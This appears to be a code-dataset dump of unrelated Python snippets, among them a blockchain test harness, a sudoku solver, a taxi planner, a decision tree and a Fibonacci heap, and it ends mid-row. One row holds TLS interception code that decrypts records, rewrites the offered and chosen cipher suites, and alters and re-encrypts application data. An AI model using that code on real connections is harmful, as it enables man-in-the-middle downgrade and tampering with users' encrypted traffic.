dependency stringlengths 77 854k | docstring stringlengths 0 4.39k | main stringlengths 29 215k |
|---|---|---|
def makeDirs(path) :
os.makedirs(path, exist_ok = True)
def writeFile(fileName, content) :
file = codecs.open(fileName, "w", "utf-8")
file.write(str(content))
file.close()
def _generatePhoreConf(self, nodeCount) :
result = ""
result += "regtest=1\n"
result += "server=1\n"
result += "debug=1\n"
result += "... | The code creates a directory structure for nodes and generates a configuration file. It calls `makeDirs` to create the node directory path and writes a `phore.conf` file using `_generatePhoreConf`, which likely configures node parameters based on `nodeCount`. The main task is to initialize node-specific data directorie... | def createDataDir(self, nodeCount) :
makeDirs(self._nodePath)
writeFile(
os.path.join(self._nodePath, 'phore.conf'),
self._generatePhoreConf(nodeCount)
) |
def _createNodes(self) :
nodesExist = True
for i in range(0, self._nodeCount) :
if not Node(self, i).dataDirExist() :
nodesExist = False
break
if nodesExist :
print("All nodes data dirs exist, resuming")
for i in range(0, self._nodeCount) :
node = Node(self, i)
self._nodeList.append(node... | The code tests a failed large transaction scenario by splitting coins into many small transactions, then attempting to send a large transaction that should fail with "Transaction too large" error. It verifies the error response and checks balances before/after the failed transaction to ensure correctness. | def _doTestFailedLargeTransaction(self) :
print('Testing failed large transaction')
self._createNodes()
self._mineInitialCoins()
addressList = self._generateAddresses()
node0 = self._nodeList[0]
node1 = self._nodeList[1]
print('Split coins...')
splitAmount = 100
totalAmount = splitAmount * self._ad... |
def _createNodes(self) :
nodesExist = True
for i in range(0, self._nodeCount) :
if not Node(self, i).dataDirExist() :
nodesExist = False
break
if nodesExist :
print("All nodes data dirs exist, resuming")
for i in range(0, self._nodeCount) :
node = Node(self, i)
self._nodeList.append(node... | This test case verifies successful processing of a large blockchain transaction by distributing coins across multiple addresses, sending a substantial transaction, and validating balance updates after mining blocks. It checks if the system handles large-value transfers correctly, ensuring the transaction is recorded an... | def _doTestSuccessLargeTransaction(self) :
print('Testing success large transaction')
self._createNodes()
self._mineInitialCoins()
addressList = self._generateAddresses()
node0 = self._nodeList[0]
node1 = self._nodeList[1]
print('Split coins...')
splitAmount = 100
totalAmount = splitAmount * self._... |
def _setup(self) :
self._nodeList = []
self._rootPath = self._makeRootPath()
makeDirs(self._rootPath)
print('Root path: %s' % (self._rootPath))
self._phored = os.getenv('PHORED', None)
if not self._phored :
die('Undefined PHORED')
self._phoreCli = os.getenv('PHORECLI', None)
if not self._phoreCli :
... | This method tests a failed large transaction by setting up the environment, executing the test logic, and ensuring cleanup is performed regardless of the test outcome. | def _testFailedLargeTransaction(self) :
self._setup()
try :
self._doTestFailedLargeTransaction()
finally :
self._cleanup() |
def _setup(self) :
self._nodeList = []
self._rootPath = self._makeRootPath()
makeDirs(self._rootPath)
print('Root path: %s' % (self._rootPath))
self._phored = os.getenv('PHORED', None)
if not self._phored :
die('Undefined PHORED')
self._phoreCli = os.getenv('PHORECLI', None)
if not self._phoreCli :
... | The main task of the code is to test the successful execution of a large transaction. It initializes the test environment via `self._setup()`, executes the transaction logic in `self._doTestSuccessLargeTransaction()`, and ensures cleanup via `self._cleanup()` in a `finally` block to release resources regardless of the ... | def _testSuccessLargeTransaction(self) :
self._setup()
try :
self._doTestSuccessLargeTransaction()
finally :
self._cleanup() |
def _to_utm(self, latitude, longitude):
east, north, zone, zone_letter = utm.from_latlon(latitude, longitude)
east = np.longdouble(east)
north = np.longdouble(north)
north = north if (zone_letter >= 'N') else np.longdouble(-1.0)*north
return east, north, zone
def _utm_estimate_zo... | This code initializes a coordinate object by converting between UTM and latitude/longitude formats. It detects input types (UTM or geographic coordinates), performs conversions using internal methods (_to_utm, _to_latlon), and stores the resulting latitude, longitude, UTM east/north, zone, and source (UTM or latlon). I... | def __init__(self, x=None, y=None, latitude=None, longitude=None, altitude=None, east=None, north=None, zone=None):
_source = None
# If x or y is specified, try to guess if it is utm or latlon coordinates based on their size
if (x is not None and y is not None):
if y > 90.0... |
def processActions(self, nids):
"""
Parse and execute actions in nid list (e.g. note creation)
Also converts nids to ints
TODO: Find a more elegant solution to pass commands from
the Organizer to the Rearranger
"""
processed = []
deleted = []
... | This function reorganizes Anki notes by processing user actions (deletions/creations), rearranging note order based on timestamps and user movements, and optionally repositioning due dates. It ensures database schema compatibility, creates a checkpoint, updates the collection state, and provides visual feedback on the ... | def processNids(self, nids, start, moved, repos=False):
"""
Main function
Arguments:
- nids: list, unprocessed note IDs as strings,
including potential action prefixes
- start: int, creation date of first note as UNIX timestamp
- moved: list, nids that... |
def assignment_complete(self, assignment):
"""
Return True if `assignment` is complete (i.e., assigns a value to each
cell); return False otherwise.
"""
return len(assignment) == self.sudoku.SIZE * self.sudoku.SIZE
def select_unassigned_variable(self, assignment):
"""
... | This function performs backtracking search to solve a crossword puzzle by recursively assigning values to variables, checking consistency, and applying inference. It selects unassigned variables, tests domain values, and backtracks if assignments lead to conflicts. If a complete valid assignment is found, it returns it... | def backtrack(self, assignment):
"""
Using Backtracking Search, take as input a partial assignment for the
crossword and return a complete assignment if possible to do so.
`assignment` is a mapping from variables (keys) to words (values).
If no assignment is possible, return No... |
def _planPath_original(self, origin, destination, **args):
self.calls += 1
# the list of explored paths. Recursive invocations pass in explored as a parameter
if 'explored' not in args:
args['explored'] = {}
# add this origin to the explored list
# explored is a dict ... | The function `_planPath` selects and executes a path-planning algorithm, prioritizing the A* search with a traffic-inclusive Euclidean distance heuristic to generate a route from `origin` to `destination`. Other methods like depth-first search, iterative deepening, and alternative A* variants are conditionally disabled... | def _planPath(self, origin, destination, **args):
returnVal = []
if False:
returnVal = self._planPath_original(origin, destination, **args)
if False:
returnVal = self._depthFirstSearch(
200, origin, destination, **args)
if False:
retur... |
def updateKCentre(cls, kCentres):
cls._kCentres += kCentres
def _calculateKCentres(self, world, k):
# uses a modified Gon algorithm to find ourselves k centres to gravitate the taxis to.
# our variation: while calculating new centres, treat the map edges as an infinite wall of centres.
#... | This method manages a taxi's operational state by checking if it should go off-duty due to financial loss, updates K-centers for optimal positioning, handles passenger drop-offs and pickups, manages available fare bids, and decrements the taxi's account balance. It also plans paths for navigation and maintains traffic ... | def clockTick(self, world):
# automatically go off duty if we have absorbed as much loss as we can in a day
# Getting probabilistic - update the traffic history map.
# for part 1C (commented out when not necessary)
# Do not worry about maxTraffic / Gridlock here - the path planner can d... |
def ray_cast_player_npc(self):
if self.game.player.map_pos == self.map_pos:
return True
wall_dist_v, wall_dist_h = 0, 0
player_dist_v, player_dist_h = 0, 0
ox, oy = self.game.player.pos
x_map, y_map = self.game.player.map_pos
ray_ang... | This code handles an entity's logic for detecting the player via raycasting, animating based on state (idle, attack, walk), and deciding actions: attacking if within range, moving otherwise. It checks if the entity is alive, triggers attack or movement animations, and manages behavior based on detection and distance. | def run_logic(self):
if self.alive:
self.ray_cast_value = self.ray_cast_player_npc()
self.animate(self.idle_images)
if self.ray_cast_value:
self.player_search_trigger = True
if self.dist < self.attack_dist:
... |
def showOpeningMessage():
print('************************************')
print(f'* {bold}Welcome! It\'s {greens[1]}money{default}{bold} timmmeeeeeee{default} *')
print('************************************\n')
def getAccountsOfInterest():
printBlue("Which accounts would you like to manage? (comma-separat... | The main task of the code is to manage user accounts by investing cash, rebalancing portfolios, or generating summaries based on user input. It processes a CSV file to parse assets, creates a portfolio, and executes tasks like balanced investment or rebalancing, displaying formatted summaries with color-coded outputs f... | def manage_fidelity():
# Welcome message
showOpeningMessage()
# Get information from user
account_details_list = getAccountsOfInterest()
tasks = getTasksForAccounts(account_details_list)
additionalCash = getAdditionalCash(account_details_list)
csvFile = getFileFromUser()
# Prepare portfo... |
def tokenize_sentence(txt, tokenizer):
result = tokenizer(txt)
word_ids = result.word_ids()
if tokenizer.is_fast:
result["word_ids"] = [word_ids[i] for i in range(len(result["input_ids"]))]
for i in range(len(result["input_ids"])):
if(result["input_ids"][i] >= 50265):
... | This function processes input text and response to calculate a metric score by tokenizing context, response, and conditions, truncating if necessary, and evaluating based on token lengths and prior utterances. | def get_metric(txt_input, response, logger):
utt_list = []
context = None
condition = None
use_condition = False
if(knlg_token in txt_input):
arr = txt_input.split(knlg_token)
context = arr[0].strip()
condition = arr[1].strip()
use_condition = True
else:
... |
def jump(self, target) -> None:
try:
self.currentLine = self.bookmarks[target]
except:
print('unrecognized bookmark')
def showImg(self, name) -> None:
argStr = (self.tagToArg('timeout') +
self.tagToArg('showCap') +
self.tagToArg('hide... | This code initializes a script interpreter by loading and parsing a script file, setting up command functions, and managing bookmarks. It reads a script from 'scripts\\', validates its structure with <script> and </script> tags, strips those tags, and stores the content. It creates a dictionary of commands (e.g., 'book... | def __init__(self, script_name):
self.bookmarks = dict[str, int]({})
self.scriptLiteral = []
self.argList = []
self.ans = None
self.rCount = 0
self.currentLine = 0
#dict of str -> function
#used to make new operations easier to add and old ones easier to ... |
def make_users(self, NUMBER_OF_USERS):
"""
Create users
:param num_users:
:param token:
:return:
"""
users = {}
for i in range(NUMBER_OF_USERS):
num = str(i)
username = "user_" + num
password = "easypass" + num
... | This code generates a specified number of users, creates posts for each, and simulates liking posts. It ensures likes per user don't exceed posts per user, orders users by post count, and iteratively applies likes until completion. The task involves user creation, post generation, and like simulation in a social media ... | def handle(self, *args, **options):
NUMBER_OF_USERS = int(os.getenv('NUMBER_OF_USERS', config('NUMBER_OF_USERS')))
MAX_POSTS_PER_USER = int(os.getenv('MAX_POSTS_PER_USER', config('MAX_POSTS_PER_USER')))
MAX_LIKES_PER_USER = int(os.getenv('MAX_LIKES_PER_USER', config('MAX_LIKES_PER_USER')))
... |
def _orthogonal_capture(self, changed_position, enemy_class):
"""
A soldier is captured if its surrounded by two other soldiers, note that the capture needs to be
active: if a soldier places himself between two enemies its not captured.
We just need to check the piece orthogonal neighbor... | The function `apply_captures` checks for orthogonal captures of enemy pieces (soldiers) based on the `changed_position` and enemy class. It evaluates potential captures using `_orthogonal_capture` and checks if the king is in a castling-adjacent or castling position. If the king is captured, it returns `-1`; otherwise,... | def apply_captures(self, changed_position):
"""
Apply orthogonal captures for soldiers and
"""
changed_tile = self.board[changed_position[0]][changed_position[1]]
enemy_class = [-2] if changed_tile > 0 else [
1, 2]
captures = self._orthogonal_capture(
... |
def extract_settings(self):
for info in self._info:
if info == InfoKeys.development_board_pin_names:
self.development_board_pin_names = self._info[info]
if info == InfoKeys.development_board:
self.development_board = self._info[info]
if info ==... | The main task of the code is to process data by extracting settings from a dictionary and invoking specific methods (e.g., matrix_pins, layouts, encoder) based on predefined keys. It checks for keys like 'matrix_pins', 'layouts', etc., in the info dictionary and calls corresponding functions with their associated value... | def process_data(self):
"""
The function processes data by extracting settings and calling other functions based on specific
keys in the information dictionary.
"""
self.extract_settings()
info = self._info
if InfoKeys.matrix_pins in info:
self.matrix_... |
def getDatabaseClientObject(self):
"""
Return pymongoClient object to perform action with MongoDB
"""
try:
self.client = pymongo.MongoClient(self.DB_URL) # creating database client object
return self.client
except Exception as e:
raise Excepti... | The function `insertRecordInCollection` inserts a record into a specified MongoDB collection if it does not already exist. It connects to the database, retrieves the collection, checks for the record's presence, and inserts it if absent. It returns the number of records inserted (0 or 1). Errors during execution are ra... | def insertRecordInCollection(self, db_name, collection_name, record):
"""
db_name: database name
collection_name: collection name
record: records to insert
------------------------------
return No of record inserted(int).
"""
try:
no_of_row_in... |
def getDatabaseClientObject(self):
"""
Return pymongoClient object to perform action with MongoDB
"""
try:
self.client = pymongo.MongoClient(self.DB_URL) # creating database client object
return self.client
except Exception as e:
raise Excepti... | The function `insertRecordsInCollection` inserts records into a specified MongoDB collection after checking for duplicates. It connects to the database, iterates through the input records, skips insertion if a record already exists, and counts successfully inserted records. It returns the count of new records added and... | def insertRecordsInCollection(self, db_name, collection_name, records):
"""
db_name: database name
collection_name: collection name
records: records to insert
"""
try:
no_of_row_inserted = 0
client = self.getDatabaseClientObject()
dat... |
def get_pre_gen_game(user_id):
start_time = time.time()
ex_games = UserGameAction.objects.filter(user=user_id).values_list('game__id', flat=True).distinct()
ex_patients = UserGameAction.objects.filter(user=user_id).values_list('patient__id', flat=True).distinct()
game = Game.objects.filter(post_game_ran... | The main task of the code is to generate or retrieve a game for a user. It first attempts to fetch a pre-generated game; if unavailable, it generates a batch of new games and retries. If still unavailable, it creates an additional game as a fallback. Finally, it serializes and returns the obtained game to the user. | def gen_game2(request, user_id):
game = get_pre_gen_game(user_id)
if game is None:
gen_batch_games2(None)
game = get_pre_gen_game(user_id)
# in case the user skipped too many cases
# instead of running recursively through existing cases, create a new case instead
if game ... |
def get_pre_gen_game(user_id):
start_time = time.time()
ex_games = UserGameAction.objects.filter(user=user_id).values_list('game__id', flat=True).distinct()
ex_patients = UserGameAction.objects.filter(user=user_id).values_list('patient__id', flat=True).distinct()
game = Game.objects.filter(post_game_ran... | The code generates or retrieves a game for a user, prioritizing pre-generated games. If none exist, it creates a new game by progressing through phases (I, II, III) or using extra generation, ensuring a valid game is returned serialized for the user. | def gen_game(request, user_id):
game = get_pre_gen_game(user_id)
if game is not None:
return serialize_game(game)
# no more pre generated games for the user,
cnt = Game.objects.filter(Q(post_game_ranking1__isnull=True)
& (Q(status=STATUS_PHASE_I)
... |
def do_gen_patient():
domains = Domain.objects.all()
domain_dict = {}
for d in domains:
serializer = DomainSerializer(d)
domain_dict[d.id] = serializer.data
choice_dict = {}
for i in domain_dict:
domain = domain_dict[i]
p_none = Decimal(domain.get('probability_with... | The function `match_patient` ensures a valid patient pair is generated for matching. It checks the count of existing `Patient` records: if none, it creates two new patients; if one, it adds a new one. For two or more, it prioritizes Phase I/II patients, falling back to a diffusion process and pairing a newly generated ... | def match_patient(request):
cnt = Patient.objects.all().count()
# no patient yet, generate two and return
if cnt == 0:
pt1 = do_gen_patient()
pt2 = do_gen_patient()
return serialize_match(pt1, pt2)
elif cnt == 1:
pt1 = do_gen_patient()
pt2 = Patient.objects.first(... |
def minimax(board_size, connect, board, player):
result = check_game(board_size, connect, board) # check if any player wins
#############################################################################
# if terminal state is achieved, return the terminal result
# otherwise, call minimax recursively to... | The code implements an AI's turn in a game by evaluating all possible moves on a board using a specified strategy (minimax, minimax with alpha-beta pruning, or depth-limited minimax). For each empty cell, it simulates placing a piece, calculates the resulting score recursively via the chosen strategy, and selects the p... | def ai_turn(board_size, connect, board, strategy):
pos = -1 # initialize pos to illegal value, -1 here
max_value = -2 # initialize max value so far to -2, which is a value smaller than possible min value
t1 = time.time()
for i in range(board_size**2):
tt1 = time.time()
if board[i] == 0... |
def expand_NN_weights_torch(NN_weights_in, dim_in):
"""
INPUTS:
NN_weights_in: A list of torch matrices that are the weights of the original NN
dim_in: An int, dimension of the input state-space
OUTPUT:
NN_weights_out: A list of torch matrices that are the "expanded" weights of the NN. The outpu... | The function computes a forward pass through a controller and dynamics neural network, propagating input zonotopes through layers with linear operations and selective LReL activations. It expands network parameters, applies controller outputs to adjust states, and simulates system dynamics using the dynamics network, r... | def forward_pass_NN_controller_dynamics_torch(Z_in, c_net, d_net, x_star, u_star, delta_t, c_a=0, d_a=0):
# CONTROLLER NETWORK
# extract weights and biases from controller network
cNN_weights = []
cNN_biases = []
idx = 0
for param in c_net.parameters():
if idx % 2 == 0: # "even" param... |
def get_filtered_entries(core: Core, branch: str) -> Tuple[List[Entry], Entry]:
"""Returns list of entries and entry related to branch"""
remote_branches = core.get_remote_branches()
entries = get_entries(core, remote_branches)
if not branch in remote_branches:
raise errors.MissingBranchError()... | This function checks in a specified branch by verifying user ownership, updating entry records, saving changes with a log message, and adjusting permissions based on the new entries. | def checkin_branch(core: Core, branch: str) -> None:
"""Check-in branch"""
entries, (_, folders, owner) = get_filtered_entries(core, branch)
user_email = core.get_user_name()
check_ownership(user_email, owner, OwnershipType.CLAIMED)
entries.append((branch, folders, ""))
with SaveBranch(core)... |
def get_filtered_entries(core: Core, branch: str) -> Tuple[List[Entry], Entry]:
"""Returns list of entries and entry related to branch"""
remote_branches = core.get_remote_branches()
entries = get_entries(core, remote_branches)
if not branch in remote_branches:
raise errors.MissingBranchError()... | The main task of the code is to checkout a specified branch by verifying user ownership, updating branch entries with the user's details, and adjusting permissions. It retrieves filtered entries, checks ownership, appends the branch data, saves changes with a checkout record, and updates permissions accordingly. | def checkout_branch(core: Core, branch: str) -> None:
"""Checkout branch"""
entries, (_, folders, owner) = get_filtered_entries(core, branch)
user_email = core.get_user_name()
check_ownership(user_email, owner, OwnershipType.UNCLAIMED)
entries.append((branch, folders, user_email))
with SaveB... |
def create_food(self):
# Create a new piece of food at a random location on the canvas
x = random.randint(0, 19) * 20
y = random.randint(0, 19) * 20
food = self.canvas.create_oval(x, y, x+20, y+20, fill='red')
return food
def change_direction(self, direction):
# Change th... | This code initializes a Snake game by setting up a GUI window, creating a game canvas, defining the initial snake and food positions, binding keyboard controls for direction changes, and starting the game loop to handle gameplay mechanics and score tracking. | def __init__(self, master):
self.master = master
master.title("Snake")
# Set up the game canvas
self.canvas = tk.Canvas(master, width=400, height=400, bg='black')
self.canvas.pack()
# Create the snake and food
self.snake = [(200, 200), (190, 200), (180, 200)]
... |
def decrypt_tls_record(ctx, record, from_server, seq_num=0):
mac_alg, cipher, iv_length, client_write_mac_key, server_write_mac_key, client_write_key, server_write_key = get_algorithms_and_write_keys(ctx, from_server)
iv = record[5:5+iv_length]
c = record[5+iv_length:]
#print(cipher, "iv", bytestring_t... | This function parses TLS records from TCP data, handling encrypted/unencrypted messages by recursively processing overlapping frames. It identifies handshake message types (e.g., ClientHello, ServerHello), decrypts records if needed, and builds a structured list of parsed records with metadata like offsets, completenes... | def parse_tls_records(ctx, tcp_data, from_server, tmp=None):
# one frame can include multiple tls messages and a tls message can overlap into the next frame
# that's why we recursively fill an array and maintain a property "complete"
if (tmp == None):
tmp = []
offset = 0
else:
o... |
def cipher_suite_to_string(cipher_suite):
cipher_suite_hex_value = bytestring_to_hex(cipher_suite)
name = ""
if (cipher_suite == b"\x00\x14"):
name = "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA"
elif (cipher_suite == b"\x00\x15"):
name = "TLS_DHE_RSA_WITH_DES_CBC_SHA"
elif (cipher_suite =... | This function manipulates TLS records during a handshake by modifying ClientHello cipher suites, ServerHello cipher suite selection, and ApplicationData/Alert content using a provided function. It adjusts message lengths, tracks handshake state, and re-encrypts modified data while handling session parameters and connec... | def manipulate_tls_records(ctx, tls_records, func_replace_tls_content):
# check whether it's one of the messages we want to manipulate
# remove incomplete messages at the end (if we need to manipulate them)
manipulated, manipulated_tls_record = False, []
server_closed, client_closed = False, False
... |
def rectangle_in_circle(cir, rect):
"""
Deterine if a rectangle fits entirely within the circle
cir: Circle
rect: Rectangle
return: boolean; True if all points of the rectangle fit within the circle, false otherwise
"""
p = copy.copy(rect.corner)
if not point_in_circle(... | The function checks if a circle and rectangle overlap by verifying if the rectangle is entirely within the circle, any rectangle corners are inside the circle, any rectangle edges intersect the circle, or the circle is entirely within the rectangle. It returns True if any overlap condition is met, otherwise False. | def rectangle_circle_overlap(cir, rect):
"""
Determine if there is any overlap of the circle and rectangle
cir: Circle
rect: Rectangle
return: boolean; True if the circle and rectangle overlap, false otherwise
"""
# Determine if the rectangle fits entirely within the circle... |
def point_in_circle(p, cir):
"""
Determine if a given point is within the radius of a circle
p: Point
cir: Circle
return: boolean; True if point is within the circle, false otherwise
"""
distance = distance_between_points(p, cir.center)
return distance <... | The main task of the code is to create a rectangle and a circle with defined coordinates and dimensions, then check their spatial relationships: whether the rectangle's corner lies inside the circle, if the rectangle is entirely within the circle, and if they overlap. This involves instantiating geometric objects, sett... | def main():
"""
main function
"""
# Instantiate and initialize a rectangle
box = Rectangle()
box.width = 100.0
box.height = 200.0
box.corner = Point()
box.corner.x = 50.0
box.corner.y = 50.0
print("The rectangle's x-coordinate is: %g" % box.corner.x)
print("The recta... |
def _scrape_date_range(self,
start_year,
end_year=None,
verbose=1):
"""
Scrape data from a given ``start_year`` to a given ``end_year``.
A directory path can be given as ``save_to`` in order to save the tables ... | The `scrape` method gathers data from `start_year` to `end_year`, combining it with existing data or replacing it if not fully loaded. It retrieves new data via `_scrape_date_range`, merges it with existing DataFrames (removing duplicates), and saves the updated datasets to `self.directory`. If all data is already load... | def scrape(self, start_year, end_year=None):
"""
Scrape from start_year to end_year. Combine currently loaded data
and save to ``self.directory``.
"""
(new_races, new_circuits,
new_results, new_drivers,
new_constructors) = self._scrape_date_range... |
def _all_data_loaded(self):
return (
(not self.races is None) &
(not self.circuits is None) &
(not self.results is None) &
(not self.drivers is None) &
(not self.constructors is None)
)
def _get_race_id(self, data):
"""
Creates... | (The code updates the dataset with the most recent Formula 1 race results by fetching data from an API, checking if new data exists, and if so, scraping and adding it while ensuring no duplicates. It verifies data completeness, handles API requests, and maintains up-to-date race records.) | def update(
self,
last_results_url='http://ergast.com/api/f1/current/last/results.json'
):
"""Update and save data to the most recent season."""
if not self._all_data_loaded():
return 'No data loaded. Use `.scrape()` instead.'
r = reques... |
def conform_name(self, name: str, object_type: Optional[str] = None) -> str:
"""Conform a stream property name to one suitable for the target system.
Transforms names to snake case by default, applicable to most common DBMSs'.
Developers may override this method to apply custom transformations
... | The main task of the code is to process a batch of records by conforming them to the target schema, creating a temporary table, and merging the data into the main SQL table via insert or upsert operations. It handles table preparation, truncation if specified, and ensures data is efficiently written using temporary tab... | def process_batch(self, context: dict) -> None:
"""Process a batch with the given batch context.
Writes a batch to the SQL target. Developers may override this method
in order to provide a more efficient upload/upsert process.
Args:
context: Stream partition or context dictio... |
def predict_class(sentence, model):
p = bow(sentence, words, show_details=False)
res = model.predict(np.array([p]))[0]
ERROR_THRESHOLD = 0.25
results = [[i, r] for i, r in enumerate(res) if r > ERROR_THRESHOLD]
results.sort(key=lambda x: x[1], reverse=True)
return_list = [{"intent": classes[r[0]... | The code implements a chatbot that handles user queries by checking if a question has been asked before, providing previous answers if available. If not, it predicts the intent using a model, generates a response, and asks for user feedback. If the response is unhelpful, it offers related questions for clarification, a... | def chat():
while True:
print("Start")
print("Chatbot Response: Hello! How can I assist you today?")
conversation = []
while True:
message = input("You: ")
if message.lower() == 'exit':
print("Chatbot Response: Have a nice day!")
... |
def get_price(self):
try:
sys.stdout = open(os.devnull, 'w')
data = self.client.get_candlestick_data(symbol=self.coin, interval=CandlestickInterval.MIN5, startTime=None,endTime=None, limit=1)
sys.stdout = sys.__stdout__
except Exception as e:
sys.stdout =... | The code processes cryptocurrency trading strategies by fetching current prices, managing open orders, and adjusting positions based on predefined thresholds. It cancels non-essential orders, sets profit/stop-loss targets, and executes buy/sell orders depending on trade state and price movements. Position sizes are dyn... | def process_Price(self):
try:
# ------ Get the current coin price -----------
self.get_price()
# ------ Get the order price -----------
self.get_position_entry_price()
if self.nmbOpenOrders != 2:
self.cancel_all_orders()
... |
def get_Ha(frequency_matrix) -> float:
prob_matrix = get_probabilities(frequency_matrix)
summ = 0
for line in prob_matrix:
p = np.sum(line)
summ -= p * np.log2(p)
return summ
def get_Hb(frequency_matrix) -> float:
prob_matrix = get_probabilities(frequency_matrix)
summ = 0
p... | The code computes mutual information between the sum and product of two dice rolls by constructing a contingency matrix of counts, then derives entropy and mutual information measures (HAB, Ha, Hb, HaB, Iab) from it. | def task() -> Tuple:
matrix = []
for i in range(2, 13):
matrix.append([0] * 36)
for fst in range(1, 7):
for snd in range(fst, 7):
matrix[fst + snd - 2][fst * snd - 1] += 1 + int(fst != snd)
Ha = get_Ha(matrix)
Hb = get_Hb(matrix)
HAB = get_HAB(matrix)
HaB = HAB -... |
def update_savings(self):
# Add the savings amount from all paydays before today to the wallet balance
payday_savings = sum([p.savings for p in self.wallet.paydays.filter(Payday.date <= date.today())])
self.wallet.balance = Decimal(self.wallet.balance) + payday_savings
def update_paydays(self):
... | The code's main task is to update savings, update existing paydays, and create new paydays within the object's state, likely for financial or scheduling management. | def update(self):
self.update_savings()
self.update_paydays()
self.create_paydays() |
def get_face_in_stream(self, id):
data = self.face_in_stream.retrieve(
collection_name= self.collection_name,
ids= [id],
with_vectors=True,
with_payload=True
)
return data[0] if len(data) > 0 else None
def get_face_in_db(self, id):
if id ... | The code updates the UI to display recognized items by adding rows to the view widget when new items are detected, and updates the frame display with the latest recognized image from a queue. It ensures the UI reflects the current state of recognized items and their associated data from streams and databases. | def set_row(self):
"update UI Widget for recognized items"
# update recognize items view
rows = self.view_widget.rowCount()
recognized = len(self.recognized_items)
if rows < recognized:
# print("Add items")
while rows < recognized:
detect... |
def _initWidgetDatabase(self):
_widget = QGroupBox("Vector Database Service", self)
layout = QFormLayout()
_widget.setLayout(layout)
self.host = QLineEdit(self.configs.get("db_host"), _widget)
self.host.textChanged.connect(lambda: self.update_configs("db_host", self.host.text())... | This code initializes a GUI application for adding images to a database using face recognition. It sets up UI components like progress bars, image display, and logging, configures model and database parameters, and starts a timer to update the interface. The main task is to provide a user interface for managing image d... | def __init__(self):
super().__init__()
self._thread = None
self.percent = deque([0], maxlen=1)
self.import_image_queue = deque(maxlen=1)
self.logs = deque(maxlen=10)
self.setWindowTitle("Add Images to database")
self.configs = {
"model_name"... |
def read_mulitple_dir(directories: list):
l_df_sinks = []
l_df_sockets = []
l_matches = []
l_filenameSinks = []
l_filenameSockets = []
for dire in directories:
a_df_sinks, a_df_sockets, a_matches, a_filenameSinks, a_filenameSockets = \
read_and_match_files(dire)
l_df_... | This code generates comparative visualizations for Flink operations by processing selected metrics, filtering data with specific patterns, and producing throughput/latency diagrams, box plots, and rolling averages. It adjusts filtering criteria twice, regenerating plots for different configurations to analyze performan... | def flink_hdes_op_comp(op_selected):
global plot_name, selected, must_contain, must_not_contain, df_sinks, \
df_sockets, matches, filenameSinks, filenameSockets, comp_with_flink
comp_with_flink = True
selected = op_selected
must_contain = ['f%1', 'f%10', 'f%20', 'f%30']
must_not_contain = ['... |
def read_mulitple_dir(directories: list):
l_df_sinks = []
l_df_sockets = []
l_matches = []
l_filenameSinks = []
l_filenameSockets = []
for dire in directories:
a_df_sinks, a_df_sockets, a_matches, a_filenameSinks, a_filenameSockets = \
read_and_match_files(dire)
l_df_... | This function generates multiple plots (throughput, latency comparisons) for selected operations by reading data from directories, applying specific filtering patterns (must_contain/must_not_contain), and producing visualizations like box plots and diagrams. It adjusts filtering criteria twice and re-generates plots wi... | def add_remove_plots(op_selected):
global plot_name, selected, must_contain, must_not_contain, df_sinks, \
df_sockets, matches, filenameSinks, filenameSockets, comp_with_flink
comp_with_flink = False
selected = op_selected
must_contain = ['']
must_not_contain = ['a%0%_r%0%', 'a%0%_r%1%', 'a%... |
def close(self):
for index in range(1, len(self.options) + 1):
self.win.move(self.y + index, self.x)
self.win.clrtoeol()
self.move_cursor_to_start()
self.expanded = False
def toggle_option(self):
if not self.can_select_multiple:
for option in self.opti... | The code defines a `select` method that controls UI component behavior based on expansion and hover states. If expanded and hovered, it closes; if expanded but not hovered, it toggles options; otherwise, it expands. This handles interactive state transitions for a dropdown or collapsible element. | def select(self):
if self.expanded and self.is_hovering:
self.close()
elif self.expanded and not self.is_hovering:
self.toggle_option()
else:
self.expand() |
def evaluate_directory(state):
path = relative_path(state)
for group in state['file extension']:
files = []
for extension in state['file extension'][group]:
filenames = glob.glob('*.' + extension)
file_paths = [os.path.join(path, filename)
for fi... | The code initializes a project configuration by setting up a state dictionary with default parameters, updating it with provided arguments, and applying language-specific settings. It configures project paths, tests, and subprojects, adjusts for external projects, and prepares file groups. Finally, it changes to the 's... | def generate(name, language, **kwargs):
state = {'strict':True, 'test pattern':'test$', 'ignore pattern':'$^',
'is external project':False}
state.update({'name':name, 'language':language})
state.update(kwargs)
if 'initialized' not in state:
state.update(configuration.languages[state... |
def linear_Regression(xx, yy, pm, pp, pd):
'''
Beginning of linear regression section
'''
global tempcounter
global tempcounter2
global slope
global intercept
global r
global p
global std_err
x = []
y = []
for i in xx:
x.append(i)
x = [float(i) for i ... | The code automates cryptocurrency trading decisions using historical price data and linear regression predictions. It evaluates buy/sell conditions based on price thresholds relative to historical values and average cost, executing trades via Robinhood's API when criteria are met. Global flags and counters manage state... | def run(sc):
global priceCompareBuyFlag
global priceCompareSellFlag
global historicalPrices
global reorderArray
global x
global xx
global y
global yy
global ac_ceiling
global ac_floor
global updateSharesSell
global updateSharesBuy
global pastPredictionMinutesAhead1
... |
def plurality_value(examples):
count = {}
for ex in examples:
cl = ex["class"]
if cl not in count:
count[cl] = 0
count[cl] += 1
return max(count, key=count.get)
def all_equal(examples):
iterable = []
for e in examples:
iterable.append(e["class"])
g = g... | This function constructs a decision tree recursively by selecting the best attribute to split examples based on an impurity measure. It handles numeric and categorical attributes, creating branches for each split. The tree stops growing when examples are homogeneous, no attributes remain, or max depth is reached, retur... | def learn_decision_tree(examples, attributes, parent_examples, impurity_measure, max_depth=float("inf"), depth=0):
if not examples:
return Decision_Tree(plurality_value(parent_examples))
elif all_equal(examples):
return Decision_Tree(examples[0]["class"])
elif not attributes or depth == max_... |
def get_nodes_from_doubly_linked_list(self, start_node):
nodes = []
current_node = start_node
if current_node is not None:
while True:
nodes.append(current_node)
current_node = current_node.right
if current_node == start_node:
break
return node... | This function extracts the minimum node from a Fibonacci heap. It removes the node, adds its children to the root list, updates the heap's min pointer, and consolidates the root list to maintain heap properties. The node count is decremented, and the extracted minimum is returned. | def fib_heap_extract_min(self):
z = self.min
if z is not None:
if z.child is not None:
children = self.get_nodes_from_doubly_linked_list(z.child)
for child in children:
self.add_to_root_list(child)
child.parent = None
self.remove_from_root_... |
def find_node(self, key):
for node in self.get_all_nodes():
if node.key == key:
return node
return None
def cut(self, x, y):
self.remove_from_child_list(y, x)
y.degree = y.degree - 1
self.add_to_root_list(x)
x.parent = None
x.marked = False
def cascading_cut(self, y):
